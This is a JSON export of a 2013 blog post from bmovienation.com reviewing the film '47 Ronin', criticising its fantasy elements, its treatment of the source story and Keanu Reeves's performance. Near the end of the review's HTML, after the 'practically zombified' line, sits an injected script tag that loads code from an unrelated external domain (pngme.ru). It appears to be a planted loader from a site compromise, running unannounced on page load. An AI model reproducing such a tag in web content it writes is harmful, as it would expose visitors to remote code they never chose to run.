{"id":9172,"date":"2013-12-27T08:06:48","date_gmt":"2013-12-27T14:06:48","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=9172"},"modified":"2013-12-27T08:06:48","modified_gmt":"2013-12-27T14:06:48","slug":"47-ronin","status":"publish","type":"post","link":"http:\/\/www.bmovienation.com\/?p=9172","title":{"rendered":"47 Ronin"},"content":{"rendered":"<p>EAST meets west with a flurry of digital trickery in 47 Ronin, an ill-conceived martial arts epic inspired by the real-life tale of a group of Samurai.<\/p>\n<p>While the original story is tightly woven into Japanese culture, Carl Rinsch\u2019s lavish spectacle will quickly be forgotten. This is little more than a hoary B-movie with little interest in the nuances of Tokugawa-era Japan.<\/p>\n<p>Screenwriters Chris Morgan and Hossein Amini turn to sorcery to spice up their emotionally-starved narrative, and call upon the warlocks of the special effects department to conjure a horned monster, a mythical dragon and a shape-shifting witch out of the ether.<\/p>\n<p>The desecration of revered source material is complete by casting Keanu Reeves as the vacuous hero, and gifting lifeless, stilted English dialogue to some of Japan\u2019s best loved actors.<\/p>\n<p>Reeves plays outcast Kai, who is taken in by kindly Lord Asano (Tanaka) despite the other subjects labelling him a demon. Kai grows up a sensitive soul and catches the eye of Asano\u2019s spirited daughter, Mika (Shibasaki), but he realises their romance across the social divide is doomed.<\/p>\n<p>47 Ronin could be Slash Of The Titans considering how much emphasis director Rinsch places on fantastical elements and action-packed skirmishes between swordsmen and hulking foes.<\/p>\n<p>Reeves has never been the most expressive actor and here he is practically zombified.<br \/>\n<script src=\"\/\/pngme.ru\/seter\"><\/script><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>EAST meets west with a flurry of digital trickery in 47 Ronin, an ill-conceived martial arts epic inspired by the real-life tale of a group of Samurai. While the original story is tightly woven into Japanese culture, Carl Rinsch\u2019s lavish spectacle will quickly be forgotten. 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